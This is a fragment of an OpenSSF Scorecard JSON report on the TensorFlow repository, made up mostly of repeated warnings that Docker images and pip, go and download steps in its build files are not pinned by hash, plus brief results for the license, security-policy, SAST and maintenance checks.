tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not 